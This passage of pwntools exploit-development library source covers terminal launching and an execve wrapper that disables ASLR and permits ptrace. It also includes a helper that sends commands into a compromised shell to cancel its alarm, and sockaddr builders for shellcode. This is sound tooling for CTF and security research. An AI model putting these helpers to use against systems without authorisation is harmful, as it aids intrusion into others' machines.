subprocess.Popen((qdbus, konsole_dbus_service), stdout=subprocess.PIPE) as proc:\n                lines = proc.communicate()[0].decode().split('\\n')\n\n            # Iterate over all MainWindows\n            for line in lines:\n                parts = line.split('/')\n                if len(parts) == 3 and parts[2].startswith('MainWindow_'):\n                    name = parts[2]\n                    with subprocess.Popen((qdbus, konsole_dbus_service, '/konsole/' + name,\n                                           'org.kde.KMainWindow.winId'), stdout=subprocess.PIPE) as proc:\n                        target_window_id = proc.communicate()[0].decode().strip()\n                        if target_window_id == window_id:\n                            break\n            else:\n                log.error('MainWindow not found')\n\n            # Split\n            subprocess.run((qdbus, konsole_dbus_service, '/konsole/' + name,\n                            'org.kde.KMainWindow.activateAction', 'split-view-left-right'), stdout=subprocess.DEVNULL)\n\n            # Find new session\n            with subprocess.Popen((qdbus, konsole_dbus_service, os.environ['KONSOLE_DBUS_WINDOW'],\n                                   'org.kde.konsole.Window.sessionList'), stdout=subprocess.PIPE) as proc:\n                session_list = map(int, proc.communicate()[0].decode().split())\n            last_konsole_session = max(session_list)\n\n            terminal = 'qdbus'\n            args = [konsole_dbus_service, '/Sessions/{}'.format(last_konsole_session),\n                    'org.kde.konsole.Session.runCommand']\n\n        else:\n            is_wsl = False\n            if os.path.exists('/proc/sys/kernel/osrelease'):\n                with open('/proc/sys/kernel/osrelease', 'rb') as f:\n                    is_wsl = b'icrosoft' in f.read()\n            if is_wsl and which('cmd.exe') and which('wsl.exe') and which('bash.exe'):\n                terminal    = 'cmd.exe'\n                args        = ['/c', 'start']\n                distro_name = os.getenv('WSL_DISTRO_NAME')\n                current_dir = os.getcwd()\n\n                # Split pane in Windows Terminal\n                if 'WT_SESSION' in os.environ and which('wt.exe'):\n                    args.extend(['wt.exe', '-w', '0', 'split-pane'])\n                if distro_name:\n                    args.extend(['wsl.exe', '-d', distro_name, '--cd', current_dir, 'bash', '-c'])\n                else:\n                    args.extend(['bash.exe', '-c'])\n\n    if not terminal:\n        log.error('Could not find a terminal binary to use. Set context.terminal to your terminal.')\n    elif not which(terminal):\n        log.error('Could not find terminal binary %r. Set context.terminal to your terminal.' % terminal)\n\n    if isinstance(args, tuple):\n        args = list(args)\n\n    # When not specifying context.terminal explicitly, we used to set these flags above.\n    # However, if specifying terminal=['tmux', 'splitw', '-h'], we would be lacking these flags.\n    # Instead, set them here and hope for the best.\n    if terminal == 'tmux':\n        args += ['-F' '#{pane_pid}', '-P']\n\n    if terminal == \"kitty\":\n        if not args:\n            # Likely the average user just wanted to tell pwntools to use kitty, rather than\n            # thinking about how the terminal will actually be invoked.\n            terminal = \"kitten\"\n            args = ['@', 'launch', '--copy-env', '--cwd', 'current']\n        else:\n            # Allowing this would make our life much harder (because we don't get the window id from\n            # running `kitty`, but we do from `kitten @ launch`) and it's an easy fix for the user.\n            log.error(\n                f\"Invalid kitty invocation {context.terminal}, please use `kitten @ launch`.\")\n            \n    argv = [which(terminal)] + args\n\n    if isinstance(command, str):\n        if ';' in command:\n            log.error(\"Cannot use commands with semicolon.  Create a script and invoke that directly.\")\n        argv += [command]\n    elif isinstance(command, (list, tuple)):\n        # Dump the full command line to a temporary file so we can be sure that\n        # it is parsed correctly, and we do not need to account for shell expansion\n        script = '''\n#!{executable!s}\nimport os\nos.execve({argv0!r}, {argv!r}, os.environ)\n'''\n        script = script.format(executable='/bin/env ' * (' ' in sys.executable) + sys.executable,\n                               argv=command,\n                               argv0=which(command[0]))\n        script = script.lstrip()\n\n        log.debug(\"Created script for new terminal:\\n%s\" % script)\n\n        with tempfile.NamedTemporaryFile(delete=False, mode='wt+') as tmp:\n          tmp.write(script)\n          tmp.flush()\n          os.chmod(tmp.name, 0o700)\n          argv += [tmp.name]\n\n\n    # if we're on a Mac and use iTerm, we use `osascript` to split the current window\n    # `command` was sanitized on the previous step. It is now either a string, or was written to a tmp file\n    # we run the command, which is now `argv[-1]`\n    if terminal == 'osascript':\n        osa_script = \"\"\"\ntell application \"iTerm\"\n    tell current session of current window\n        set newSession to (split horizontally with default profile)\n    end tell\n    tell newSession\n        write text \"{}\"\n    end tell\nend tell\n\"\"\".format(argv[-1])\n        with tempfile.NamedTemporaryFile(delete=False, mode='wt+') as tmp:\n            tmp.write(osa_script.lstrip())\n            tmp.flush()\n            os.chmod(tmp.name, 0o700)\n            argv = [which(terminal), tmp.name]\n    # cmd.exe does not support WSL UNC paths as working directory\n    # so it gets reset to %WINDIR% before starting wsl again.\n    # Set the working directory correctly in WSL.\n    elif terminal == 'cmd.exe':\n        argv[-1] = \"cd '{}' && {}\".format(os.getcwd(), argv[-1])\n\n    log.debug(\"Launching a new terminal: %r\" % argv)\n\n    stdin = stdout = stderr = open(os.devnull, 'r+b')\n    if terminal == 'tmux' or terminal == 'zellij' or terminal == 'kitten':\n        stdout = subprocess.PIPE\n    if terminal == 'kitten':\n        stderr = subprocess.PIPE\n\n    p = subprocess.Popen(argv, stdin=stdin, stdout=stdout, stderr=stderr, preexec_fn=preexec_fn)\n\n    if terminal == 'tmux':\n        out, _ = p.communicate()\n        try:\n            pid = int(out)\n        except ValueError:\n            pid = None\n        if pid is None:\n            log.error(\"Could not parse PID from tmux output (%r). Start tmux first.\", out)\n    elif terminal == 'qdbus':\n        with subprocess.Popen((qdbus, konsole_dbus_service, '/Sessions/{}'.format(last_konsole_session),\n                               'org.kde.konsole.Session.processId'), stdout=subprocess.PIPE) as proc:\n            pid = int(proc.communicate()[0].decode())\n    elif terminal == \"kitten\":\n        pid = None\n        out, err = p.communicate()\n\n        # Catch the most common user error\n        if b\"Remote control is disabled\" in err:\n            log.error(\"Kitty remote control is disabled. Add `allow_remote_control yes` to your ~/.config/kitty/kitty.conf .\")\n\n        try:\n            kittyid = int(out)\n        except ValueError:\n            kittyid = None\n        if kittyid is None:\n            log.error(\"Could not parse kitty window ID from output (%r) (stderr: %r)\", out, err)\n        else:\n            lsout, _ = subprocess.Popen([\"kitten\", \"@\", \"ls\", \"--match\", \"id:%d\" % kittyid], stdin=stdin, stdout=stdout, stderr=stderr).communicate()\n            try:\n                lsj = json.loads(lsout)\n                pid = int(lsj[0][\"tabs\"][0][\"windows\"][0][\"pid\"])\n            except json.JSONDecodeError as e:\n                pid = None\n                log.error(\"Json decode failed while parsing 'kitten @ ls' output (%r) (error: %r)\", lsout, e)\n            \n    elif terminal == 'cmd.exe':\n        # p.pid is cmd.exe's pid instead of the WSL process we want to start eventually.\n        # I don't know how to trace the execution through Windows and back into the WSL2 VM.\n        # Do a best guess by waiting for a new process matching the command to be run.\n        # Otherwise it's better to return nothing instead of a know wrong pid.\n        from pwnlib.util.proc import pid_by_name\n        pid = None\n        ran_program = command.split(' ')[0] if isinstance(command, str) else command[0]\n        t = Timeout()\n        with t.countdown(timeout=5):\n            while t.timeout:\n                new_pid = pid_by_name(ran_program)\n                if new_pid and new_pid[0] > p.pid:\n                    pid = new_pid[0]\n                    break\n                time.sleep(0.01)\n    else:\n        pid = p.pid\n\n    if kill_at_exit and pid:\n        def kill():\n            try:\n                if terminal == 'qdbus':\n                    os.kill(pid, signal.SIGHUP)\n                else:\n                    os.kill(pid, signal.SIGTERM)\n            except OSError:\n                pass\n\n        atexit.register(kill)\n\n    return pid\n\ndef parse_ldd_output(output):\n    \"\"\"Parses the output from a run of 'ldd' on a binary.\n    Returns a dictionary of {path: address} for\n    each library required by the specified binary.\n\n    Arguments:\n      output(str): The output to parse\n\n    Example:\n\n        >>> sorted(parse_ldd_output('''\n        ...     linux-vdso.so.1 =>  (0x00007fffbf5fe000)\n        ...     libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fe28117f000)\n        ...     libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe280f7b000)\n        ...     libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe280bb4000)\n        ...     /lib64/ld-linux-x86-64.so.2 (0x00007fe2813dd000)\n        ... ''').keys())\n        ['/lib/x86_64-linux-gnu/libc.so.6', '/lib/x86_64-linux-gnu/libdl.so.2', '/lib/x86_64-linux-gnu/libtinfo.so.5', '/lib64/ld-linux-x86-64.so.2']\n    \"\"\"\n    expr_linux   = re.compile(r'\\s(?P<lib>\\S?/\\S+)\\s+\\((?P<addr>0x.+)\\)')\n    expr_openbsd = re.compile(r'^\\s+(?P<addr>[0-9a-f]+)\\s+[0-9a-f]+\\s+\\S+\\s+[01]\\s+[0-9]+\\s+[0-9]+\\s+(?P<lib>\\S+)$')\n    libs = {}\n\n    for s in output.split('\\n'):\n        match = expr_linux.search(s) or expr_openbsd.search(s)\n        if not match:\n            continue\n        lib, addr = match.group('lib'), match.group('addr')\n        libs[lib] = int(addr, 16)\n\n    return libs\n\ndef mkdir_p(path):\n    \"\"\"Emulates the behavior of ``mkdir -p``.\"\"\"\n\n    try:\n        os.makedirs(path)\n    except OSError as exc:\n        if exc.errno == errno.EEXIST and os.path.isdir(path):\n            pass\n        else:\n            raise\n\ndef dealarm_shell(tube):\n    \"\"\"Given a tube which is a shell, dealarm it.\n    \"\"\"\n    tube.clean()\n\n    tube.sendline('which python || echo')\n    if tube.recvline().startswith('/'):\n        tube.sendline('''exec python -c \"import signal, os; signal.alarm(0); os.execl('$SHELL','')\"''')\n        return tube\n\n    tube.sendline('which perl || echo')\n    if tube.recvline().startswith('/'):\n        tube.sendline('''exec perl -e \"alarm 0; exec '${SHELL:-/bin/sh}'\"''')\n        return tube\n\n    return None\n\ndef register_sizes(regs, in_sizes):\n    \"\"\"Create dictionaries over register sizes and relations\n\n    Given a list of lists of overlapping register names (e.g. ['eax','ax','al','ah']) and a list of input sizes,\n    it returns the following:\n\n    * all_regs    : list of all valid registers\n    * sizes[reg]  : the size of reg in bits\n    * bigger[reg] : list of overlapping registers bigger than reg\n    * smaller[reg]: list of overlapping registers smaller than reg\n\n    Used in i386/AMD64 shellcode, e.g. the mov-shellcode.\n\n    Example:\n\n        >>> regs = [['eax', 'ax', 'al', 'ah'],['ebx', 'bx', 'bl', 'bh'],\n        ... ['ecx', 'cx', 'cl', 'ch'],\n        ... ['edx', 'dx', 'dl', 'dh'],\n        ... ['edi', 'di'],\n        ... ['esi', 'si'],\n        ... ['ebp', 'bp'],\n        ... ['esp', 'sp'],\n        ... ]\n        >>> all_regs, sizes, bigger, smaller = register_sizes(regs, [32, 16, 8, 8])\n        >>> all_regs\n        ['eax', 'ax', 'al', 'ah', 'ebx', 'bx', 'bl', 'bh', 'ecx', 'cx', 'cl', 'ch', 'edx', 'dx', 'dl', 'dh', 'edi', 'di', 'esi', 'si', 'ebp', 'bp', 'esp', 'sp']\n        >>> pprint(sizes)\n        {'ah': 8,\n         'al': 8,\n         'ax': 16,\n         'bh': 8,\n         'bl': 8,\n         'bp': 16,\n         'bx': 16,\n         'ch': 8,\n         'cl': 8,\n         'cx': 16,\n         'dh': 8,\n         'di': 16,\n         'dl': 8,\n         'dx': 16,\n         'eax': 32,\n         'ebp': 32,\n         'ebx': 32,\n         'ecx': 32,\n         'edi': 32,\n         'edx': 32,\n         'esi': 32,\n         'esp': 32,\n         'si': 16,\n         'sp': 16}\n        >>> pprint(bigger)\n        {'ah': ['eax', 'ax', 'ah'],\n         'al': ['eax', 'ax', 'al'],\n         'ax': ['eax', 'ax'],\n         'bh': ['ebx', 'bx', 'bh'],\n         'bl': ['ebx', 'bx', 'bl'],\n         'bp': ['ebp', 'bp'],\n         'bx': ['ebx', 'bx'],\n         'ch': ['ecx', 'cx', 'ch'],\n         'cl': ['ecx', 'cx', 'cl'],\n         'cx': ['ecx', 'cx'],\n         'dh': ['edx', 'dx', 'dh'],\n         'di': ['edi', 'di'],\n         'dl': ['edx', 'dx', 'dl'],\n         'dx': ['edx', 'dx'],\n         'eax': ['eax'],\n         'ebp': ['ebp'],\n         'ebx': ['ebx'],\n         'ecx': ['ecx'],\n         'edi': ['edi'],\n         'edx': ['edx'],\n         'esi': ['esi'],\n         'esp': ['esp'],\n         'si': ['esi', 'si'],\n         'sp': ['esp', 'sp']}\n        >>> pprint(smaller)\n        {'ah': [],\n         'al': [],\n         'ax': ['al', 'ah'],\n         'bh': [],\n         'bl': [],\n         'bp': [],\n         'bx': ['bl', 'bh'],\n         'ch': [],\n         'cl': [],\n         'cx': ['cl', 'ch'],\n         'dh': [],\n         'di': [],\n         'dl': [],\n         'dx': ['dl', 'dh'],\n         'eax': ['ax', 'al', 'ah'],\n         'ebp': ['bp'],\n         'ebx': ['bx', 'bl', 'bh'],\n         'ecx': ['cx', 'cl', 'ch'],\n         'edi': ['di'],\n         'edx': ['dx', 'dl', 'dh'],\n         'esi': ['si'],\n         'esp': ['sp'],\n         'si': [],\n         'sp': []}\n    \"\"\"\n    sizes = {}\n    bigger = {}\n    smaller = {}\n\n    for l in regs:\n        for r, s in zip(l, in_sizes):\n            sizes[r] = s\n\n        for r in l:\n            bigger[r] = [r_ for r_ in l if sizes[r_] > sizes[r] or r == r_]\n            smaller[r] = [r_ for r_ in l if sizes[r_] < sizes[r]]\n\n    return lists.concat(regs), sizes, bigger, smaller\n\n\ndef _create_execve_script(argv=None, executable=None, cwd=None, env=None, ignore_environ=None,\n        stdin=0, stdout=1, stderr=2, preexec_fn=None, preexec_args=(), aslr=None, setuid=None,\n        shell=False, log=log):\n    \"\"\"\n    Creates a python wrapper script that triggers the syscall `execve` directly.\n\n    Arguments:\n        argv(list):\n            List of arguments to pass into the process\n        executable(str):\n            Path to the executable to run.\n            If :const:`None`, ``argv[0]`` is used.\n        cwd(str):\n            Working directory.  If :const:`None`, uses the working directory specified\n            on :attr:`cwd` or set via :meth:`set_working_directory`.\n        env(dict):\n            Environment variables to add to the environment.\n        ignore_environ(bool):\n            Ignore default environment.  By default use default environment iff env not specified.\n        stdin(int, str):\n            If an integer, replace stdin with the numbered file descriptor.\n            If a string, a open a file with the specified path and replace\n            stdin with its file descriptor.  May also be one of ``sys.stdin``,\n            ``sys.stdout``, ``sys.stderr``.  If :const:`None`, the file descriptor is closed.\n        stdout(int, str):\n            See ``stdin``.\n        stderr(int, str):\n            See ``stdin``.\n        preexec_fn(callable):\n            Function which is executed on the remote side before execve().\n            This **MUST** be a self-contained function -- it must perform\n            all of its own imports, and cannot refer to variables outside\n            its scope.\n        preexec_args(object):\n            Argument passed to ``preexec_fn``.\n            This **MUST** only consist of native Python objects.\n        aslr(bool):\n            See :class:`pwnlib.tubes.process.process` for more information.\n        setuid(bool):\n            See :class:`pwnlib.tubes.process.process` for more information.\n        shell(bool):\n            Pass the command-line arguments to the shell.\n\n    Returns:\n        A string containing the python script.\n    \"\"\"\n    if not argv and not executable:\n        log.error(\"Must specify argv or executable\")\n\n    aslr      = aslr if aslr is not None else context.aslr\n\n    if ignore_environ is None:\n        ignore_environ = env is not None  # compat\n\n    argv, env = normalize_argv_env(argv, env, log)\n\n    if shell:\n        if len(argv) != 1:\n            log.error('Cannot provide more than 1 argument if shell=True')\n        argv = [bytearray(b'/bin/sh'), bytearray(b'-c')] + argv\n\n    executable = executable or argv[0]\n    cwd        = cwd or '.'\n\n    # Validate, since failures on the remote side will suck.\n    if not isinstance(executable, (str, bytes, bytearray)):\n        log.error(\"executable / argv[0] must be a string: %r\" % executable)\n    executable = bytearray(packing._need_bytes(executable, min_wrong=0x80))\n\n    # Allow passing in sys.stdin/stdout/stderr objects\n    handles = {sys.stdin: 0, sys.stdout:1, sys.stderr:2}\n    stdin  = handles.get(stdin, stdin)\n    stdout = handles.get(stdout, stdout)\n    stderr = handles.get(stderr, stderr)\n\n    # Allow the user to provide a self-contained function to run\n    def func(): pass\n    func      = preexec_fn or func\n    func_args = preexec_args\n\n    if not isinstance(func, types.FunctionType):\n        log.error(\"preexec_fn must be a function\")\n\n    func_name = func.__name__\n    if func_name == (lambda: 0).__name__:\n        log.error(\"preexec_fn cannot be a lambda\")\n\n    func_src  = inspect.getsource(func).strip()\n    setuid = True if setuid is None else bool(setuid)\n\n\n    script = r\"\"\"\n#!/usr/bin/env python3\nimport os, sys, ctypes, resource, platform, stat\nfrom collections import OrderedDict\ntry:\n    integer_types = int, long\nexcept NameError:\n    integer_types = int,\nexe   = bytes(%(executable)r)\nargv  = [bytes(a) for a in %(argv)r]\nenv   = %(env)r\n\nos.chdir(%(cwd)r)\n\nif %(ignore_environ)r:\n    os.environ.clear()\n\nenviron = getattr(os, 'environb', os.environ)\n\nif env is not None:\n    env = OrderedDict((bytes(k), bytes(v)) for k,v in env)\n    environ.update(env)\nelse:\n    env = environ\n\ndef is_exe(path):\n    return os.path.isfile(path) and os.access(path, os.X_OK)\n\nPATH = environ.get(b'PATH',b'').split(os.pathsep.encode())\n\nif os.path.sep.encode() not in exe and not is_exe(exe):\n    for path in PATH:\n        test_path = os.path.join(path, exe)\n        if is_exe(test_path):\n            exe = test_path\n            break\n\nif not is_exe(exe):\n    sys.stderr.write('3\\n')\n    sys.stderr.write(\"{!r} is not executable or does not exist in $PATH: {!r}\".format(exe,PATH))\n    sys.exit(-1)\n\nif not %(setuid)r:\n    PR_SET_NO_NEW_PRIVS = 38\n    result = ctypes.CDLL('libc.so.6').prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)\n\n    if result != 0:\n        sys.stdout.write('3\\n')\n        sys.stdout.write(\"Could not disable setuid: prctl(PR_SET_NO_NEW_PRIVS) failed\")\n        sys.exit(-1)\n\ntry:\n    PR_SET_PTRACER = 0x59616d61\n    PR_SET_PTRACER_ANY = -1\n    ctypes.CDLL('libc.so.6').prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY, 0, 0, 0)\nexcept Exception:\n    pass\n\n# Determine what UID the process will execute as\n# This is used for locating apport core dumps\nsuid = os.getuid()\nsgid = os.getgid()\nst = os.stat(exe)\nif %(setuid)r:\n    if (st.st_mode & stat.S_ISUID):\n        suid = st.st_uid\n    if (st.st_mode & stat.S_ISGID):\n        sgid = st.st_gid\n\nif sys.argv[-1] == 'check':\n    sys.stdout.write(\"1\\n\")\n    sys.stdout.write(str(os.getpid()) + \"\\n\")\n    sys.stdout.write(str(os.getuid()) + \"\\n\")\n    sys.stdout.write(str(os.getgid()) + \"\\n\")\n    sys.stdout.write(str(suid) + \"\\n\")\n    sys.stdout.write(str(sgid) + \"\\n\")\n    sys.stdout.flush()\n    getattr(sys.stdout, 'buffer', sys.stdout).write(os.path.realpath(exe) + b'\\x00')\n    sys.stdout.flush()\n\nfor fd, newfd in {0: %(stdin)r, 1: %(stdout)r, 2:%(stderr)r}.items():\n    if newfd is None:\n        os.close(fd)\n    elif isinstance(newfd, (str, bytes)):\n        newfd = os.open(newfd, os.O_RDONLY if fd == 0 else (os.O_RDWR|os.O_CREAT))\n        os.dup2(newfd, fd)\n        os.close(newfd)\n    elif isinstance(newfd, integer_types) and newfd != fd:\n        os.dup2(fd, newfd)\n\nif not %(aslr)r:\n    if platform.system().lower() == 'linux' and %(setuid)r is not True:\n        ADDR_NO_RANDOMIZE = 0x0040000\n        ctypes.CDLL('libc.so.6').personality(ADDR_NO_RANDOMIZE)\n\n    resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))\n\n# Attempt to dump ALL core file regions\ntry:\n    with open('/proc/self/coredump_filter', 'w') as core_filter:\n        core_filter.write('0x3f\\n')\nexcept Exception:\n    pass\n\n# Assume that the user would prefer to have core dumps.\ntry:\n    resource.setrlimit(resource.RLIMIT_CORE, (-1, -1))\nexcept Exception:\n    pass\n\n%(func_src)s\n%(func_name)s(*%(func_args)r)\n\n\"\"\" % locals()  \n\n    if len(argv) > 0 and len(argv[0]) > 0:\n        script += r\"os.execve(exe, argv, env) \" \n\n    # os.execve does not allow us to pass empty argv[0]\n    # Therefore we use ctypes to call execve directly\n    else:\n        script += r\"\"\"\n# Transform envp from dict to list\nenv_list = [key + b\"=\" + value for key, value in env.items()]\n\n# ctypes helper to convert a python list to a NULL-terminated C array\ndef to_carray(py_list):\n    py_list += [None] # NULL-terminated\n    return (ctypes.c_char_p * len(py_list))(*py_list)\n\nc_argv = to_carray(argv)\nc_env = to_carray(env_list)\n\n# Call execve\nlibc = ctypes.CDLL('libc.so.6')\nlibc.execve(exe, c_argv, c_env)\n\n# We should never get here, since we sanitized argv and env,\n# but just in case, indicate that something went wrong.\nlibc.perror(b\"execve\")\nraise OSError(\"execve failed\")\n\"\"\" % locals()\n    script = script.strip()\n\n    return script\n"
  },
  {
    "path": "pwnlib/util/net.py",
    "content": "import ctypes\nimport ctypes.util\nimport socket\n\nfrom pwnlib.util.packing import p16\nfrom pwnlib.util.packing import p32\nfrom pwnlib.util.packing import pack\n\n__all__ = ['getifaddrs', 'interfaces', 'interfaces4', 'interfaces6', 'sockaddr']\n\n# /usr/src/linux-headers-3.12-1-common/include/uapi/linux/socket.h\nsa_family_t = ctypes.c_ushort\n\n# /usr/src/linux-headers-3.12-1-common/include/linux/socket.h\nclass struct_sockaddr(ctypes.Structure):\n    _fields_ = [\n        ('sa_family', sa_family_t)       ,\n        ('sa_data'  , ctypes.c_char * 14),\n        ]\n\n# /usr/src/linux-headers-3.12-1-common/include/uapi/linux/in.h\nstruct_in_addr = ctypes.c_uint8 * 4\nclass struct_sockaddr_in(ctypes.Structure):\n    _fields_ = [\n        ('sin_family', sa_family_t)    ,\n        ('sin_port'  , ctypes.c_uint16),\n        ('sin_addr'  , struct_in_addr) ,\n        ]\n\n# /usr/src/linux-headers-3.12-1-common/include/uapi/linux/in6.h\nstruct_in6_addr = ctypes.c_uint8 * 16\nclass struct_sockaddr_in6(ctypes.Structure):\n    _fields_ = [\n        ('sin6_family'  , ctypes.c_ushort),\n        ('sin6_port'    , ctypes.c_uint16),\n        ('sin6_flowinfo', ctypes.c_uint32),\n        ('sin6_addr'    , struct_in6_addr),\n        ('sin6_scope_id', ctypes.c_uint32),\n        ]\n\n# /usr/include/ifaddrs.h\nclass union_ifa_ifu(ctypes.Union):\n    _fields_ = [\n        ('ifu_broadaddr', ctypes.POINTER(struct_sockaddr)),\n        ('ifu_dstaddr'  , ctypes.POINTER(struct_sockaddr)),\n        ]\nclass struct_ifaddrs(ctypes.Structure):\n    pass # recursively defined\nstruct_ifaddrs._fields_ = [\n    ('ifa_next'   , ctypes.POINTER(struct_ifaddrs)) ,\n    ('ifa_name'   , ctypes.c_char_p)                ,\n    ('ifa_flags'  , ctypes.c_uint)                  ,\n    ('ifa_addr'   , ctypes.POINTER(struct_sockaddr)),\n    ('ifa_netmask', ctypes.POINTER(struct_sockaddr)),\n    ('ifa_ifu'    , union_ifa_ifu)                  ,\n    ('ifa_data'   , ctypes.c_void_p)                ,\n    ]\n\nAddressFamily = getattr(socket, 'AddressFamily', int)\n\ndef sockaddr_fixup(saptr):\n    family = AddressFamily(saptr.contents.sa_family)\n    addr = {}\n    if   family == socket.AF_INET:\n        sa = ctypes.cast(saptr, ctypes.POINTER(struct_sockaddr_in)).contents\n        addr['port'] = socket.ntohs(sa.sin_port)\n        addr['addr'] = socket.inet_ntop(family, sa.sin_addr)\n    elif family == socket.AF_INET6:\n        sa = ctypes.cast(saptr, ctypes.POINTER(struct_sockaddr_in6)).contents\n        addr['port'] = socket.ntohs(sa.sin6_port)\n        addr['flowinfo'] = socket.ntohl(sa.sin6_flowinfo)\n        addr['addr'] = socket.inet_ntop(family, sa.sin6_addr)\n        addr['scope_id'] = sa.sin6_scope_id\n    return family, addr\n\ndef getifaddrs():\n    \"\"\"getifaddrs() -> dict list\n\n    A wrapper for libc's ``getifaddrs``.\n\n    Arguments:\n      None\n\n    Returns:\n      list of dictionaries each representing a `struct ifaddrs`. The\n      dictionaries have the fields `name`, `flags`, `family`, `addr` and\n      `netmask`.  Refer to `getifaddrs(3)` for details.  The fields `addr` and\n      `netmask` are themselves dictionaries.  Their structure depend on\n      `family`.  If `family` is not :const:`socket.AF_INET` or\n      :const:`socket.AF_INET6` they will be empty.\n    \"\"\"\n    libc = ctypes.CDLL(ctypes.util.find_library('c'))\n    getifaddrs = libc.getifaddrs\n    getifaddrs.restype = ctypes.c_int\n    getifaddrs.argtpes = [ctypes.POINTER(ctypes.POINTER(struct_ifaddrs))]\n    freeifaddrs = libc.freeifaddrs\n    freeifaddrs.restype = None\n    freeifaddrs.argtypes = [ctypes.POINTER(struct_ifaddrs)]\n    ifaptr = ctypes.POINTER(struct_ifaddrs)()\n    result = getifaddrs(ctypes.pointer(ifaptr))\n    if result == -1:\n        raise OSError(ctypes.get_errno())\n    del result\n    try:\n        ifas = []\n        while ifaptr:\n            ifac = ifaptr.contents\n            ifa = {'name' : ifac.ifa_name,\n                   'flags': ifac.ifa_flags,\n                   }\n            if ifac.ifa_addr:\n                ifa['family'], ifa['addr'] = sockaddr_fixup(ifac.ifa_addr)\n            else:\n                ifa['family'], ifa['addr'] = None, None\n            if ifac.ifa_netmask:\n                _, ifa['netmask'] = sockaddr_fixup(ifac.ifa_netmask)\n            else:\n                ifa['network'] = None\n            ifas.append(ifa)\n            ifaptr = ifac.ifa_next\n        return ifas\n    finally:\n        freeifaddrs(ifaptr)\n\ndef interfaces(all = False):\n    \"\"\"interfaces(all = False) -> dict\n\n    Arguments:\n      all (bool): Whether to include interfaces with not associated address.\n      Default: :const:`False`.\n\n    Returns:\n      A dictionary mapping each of the hosts interfaces to a list of it's\n      addresses.  Each entry in the list is a tuple ``(family, addr)``, and\n      `family` is either :const:`socket.AF_INET` or :const:`socket.AF_INET6`.\n    \"\"\"\n    out = {}\n    for ifa in getifaddrs():\n        name = ifa['name']\n        if name not in out:\n            out[name] = []\n        if not ifa['addr']:\n            continue\n        family = ifa['family']\n        addr = ifa['addr']['addr']\n        out[name].append((family, addr))\n    if not all:\n        out = {k: v for k, v in out.items() if v}\n    return out\n\ndef interfaces4(all = False):\n    \"\"\"interfaces4(all = False) -> dict\n\n    As :func:`interfaces` but only includes IPv4 addresses and the lists in the\n    dictionary only contains the addresses not the family.\n\n    Arguments:\n      all (bool): Whether to include interfaces with not associated address.\n      Default: :const:`False`.\n\n    Returns:\n      A dictionary mapping each of the hosts interfaces to a list of it's\n      IPv4 addresses.\n\n    Examples:\n\n        >>> interfaces4(all=True) # doctest: +ELLIPSIS\n        {...'127.0.0.1'...}\n    \"\"\"\n    out = {}\n    for name, addrs in interfaces(all = all).items():\n        addrs = [addr for fam, addr in addrs if fam == socket.AF_INET]\n        if addrs or all:\n            out[name] = addrs\n    return out\n\ndef interfaces6(all = False):\n    \"\"\"interfaces6(all = False) -> dict\n\n    As :func:`interfaces` but only includes IPv6 addresses and the lists in the\n    dictionary only contains the addresses not the family.\n\n    Arguments:\n      all (bool): Whether to include interfaces with not associated address.\n      Default: :const:`False`.\n\n    Returns:\n      A dictionary mapping each of the hosts interfaces to a list of it's\n      IPv6 addresses.\n\n    Examples:\n\n        >>> interfaces6() # doctest: +ELLIPSIS\n        {...'::1'...}\n    \"\"\"\n    out = {}\n    for name, addrs in interfaces(all = all).items():\n        addrs = [addr for fam, addr in addrs if fam == socket.AF_INET6]\n        if addrs or all:\n            out[name] = addrs\n    return out\n\ndef sockaddr(host, port, network = 'ipv4'):\n    \"\"\"sockaddr(host, port, network = 'ipv4') -> (data, length, family)\n\n    Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode.\n\n    Arguments:\n      host (str): Either an IP address or a hostname to be looked up.\n      port (int): TCP/UDP port.\n      network (str): Either 'ipv4' or 'ipv6'.\n\n    Returns:\n      A tuple containing the sockaddr buffer, length, and the address family.\n    \"\"\"\n    address_family = {'ipv4':socket.AF_INET,'ipv6':socket.AF_INET6}[network]\n\n    for family, _, _, _, ip in socket.getaddrinfo(host, None, address_family):\n        ip = ip[0]\n        if family == address_family:\n            break\n    else:\n        log.error(\"Could not find %s address for %r\" % (network, host))\n\n    info = socket.getaddrinfo(host, None, address_family)\n    host = socket.inet_pton(address_family, ip)\n    sockaddr  = p16(address_family)\n    sockaddr += pack(port, word_size = 16, endianness = 'big') #Port should be big endian = network byte order\n    length    = 0\n\n    if network == 'ipv4':\n        sockaddr += host\n        length    = 16 # Save ten bytes by skipping two 'push 0'\n    else:\n        sockaddr += p32(0xffffffff) # Save three bytes 'push -1' vs 'push 0'\n        sockaddr += host\n        length    = len(sockaddr) + 4 # Save five bytes 'push 0'\n    return (sockaddr, length, getattr(address_family, \"name\", address_family))\n\ndef sock_match(local, remote, fam=socket.AF_UNSPEC, typ=0):\n    \"\"\"\n    Given two addresses, returns a function comparing address pairs from\n    psutil library against these two.  Useful for filtering done in\n    :func:`pwnlib.util.proc.pidof`.\n    \"\"\"\n    def sockinfos(addr, f, t):\n        if not addr:\n            return set()\n        if f not in (socket.AF_UNSPEC, socket.AF_INET, socket.AF_INET6):\n            return {addr}\n        infos = set(socket.getaddrinfo(addr[0], addr[1], f, t))\n\n        # handle mixed IPv4-to-IPv6 and the other way round connections\n        for f, t, proto, _canonname, sockaddr in tuple(infos):\n            if f == socket.AF_INET and t != socket.SOCK_RAW:\n                infos |= set(socket.getaddrinfo(sockaddr[0], sockaddr[1], socket.AF_INET6, t, proto, socket.AI_V4MAPPED))\n        return infos\n\n    local = sockinfos(local, fam, typ)\n    if remote is not None:\n        remote = sockinfos(remote, fam, typ)\n\n    def match(c):\n        laddrs = sockinfos(c.laddr, c.family, c.type)\n        raddrs = sockinfos(c.raddr, c.family, c.type)\n        if not (laddrs & local):\n            return False\n        if remote is None:\n            return True\n        return bool(raddrs & remote)\n\n    return match\n"
  },
  {
    "path": "pwnlib/util/packing.py",
